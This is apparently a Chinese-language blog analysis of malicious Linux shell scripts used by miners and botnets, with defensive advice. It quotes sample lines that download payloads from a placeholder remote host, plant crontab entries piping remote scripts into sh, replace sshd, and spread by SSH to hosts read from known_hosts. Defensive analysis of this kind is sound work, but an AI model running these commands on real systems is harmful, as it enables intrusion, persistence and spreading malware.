GNU/Linux 恶意脚本分析与防范

Table of Contents

在最近两年中,见到了越来越多客户的 GNU/Linux 主机饱受挖矿、僵尸程序的影响,我在此不断剖析一些实际的恶意脚本工作原理,望理解原理后能做好服务器安全。

GNU/Linux 上的恶意脚本目前还没有像 Windows 环境那样特别复杂,通常是一个 sh 脚本负责下载恶意程序、维持权限、传播自身等工作;下载的恶意程序一般就是我们见到的挖矿、后门或者僵尸程序了。

1. 技术手段分析

1.1. 远程下载

一般恶意程序都放在一台 HTTP 服务器上,中招的主机会用 curl 或 wget 命令来下载恶意程序,考虑到有些 GNU/Linux 发行版中缺少其中一个命令,脚本一般是都各尝试一次,如:

if [ ! -f 恶意程序 ]; then
    curl -fsSL http://远程地址/恶意程序.$(uname -m) -o 恶意程序
fi

if [ ! -f 恶意程序 ]; then
    wget -q http://远程地址/恶意程序.$(uname -m) -O 恶意程序
fi

一般恶意程序都编译了多种不同处理器架构的版本,以适应不同的主机;下载的时会考虑到多架构问题,所以通常会执行 uname -m 命令获得处理器架构,然后下载不同的版本。

1.2. 自我维持

为了防止被删除,最常见的手段就是偷偷摸摸在 crontab 中增加定时任务,定期去下载恶意脚本,脚本再检查程序是否被删除:

echo "*/5 * * * * curl -fsSL http://远程地址/恶意脚本.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://远程地址/恶意脚本.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://远程地址/恶意脚本.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://远程地址/恶意脚本.sh | sh" >> /var/spool/cron/crontabs/root

当然,更高级一点的就是替换掉系统的程序,比如下面这个样本中就替换掉 sshd:

if [ ! -f 恶意程序 ]; then
   ...
    cp 恶意程序 /usr/local/sbin/sshd
fi

因此,服务器一旦出现中招现象:

  1. 用 chkrootkit 检查文件是否被篡改;也可以将 /bin、/sbin、/usr/local/bin、/usr/local/sbin 等目录下的文件 MD5 计算出来,再找一台相同系统的计算出来做对比;
  2. 检查 crontab 中是否有异常。

1.3. 自我传播

某客户的服务器上不存在主机弱口令、Redis 对外等问题,但仍旧被种了挖矿程序,后来我拿到样本后,看到这句:

for file in /home/*
do
    if test -d $file; then
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '执行下载宿主脚本 &' & done
        fi
    fi
done

显而易见,一旦有一台机器中招后,脚本会自动检查 home 目录下的 SSH 私钥,然后从 ~/.ssh/known_hosts 中读取登录过的主机地址,接着逐一尝试登录并下载速宿主脚本来执行。

无论是开发者自己的机器,还是测试环境,或是其他服务器中招,只要存在 SSH 私钥没加密,都可能会让它自我传播。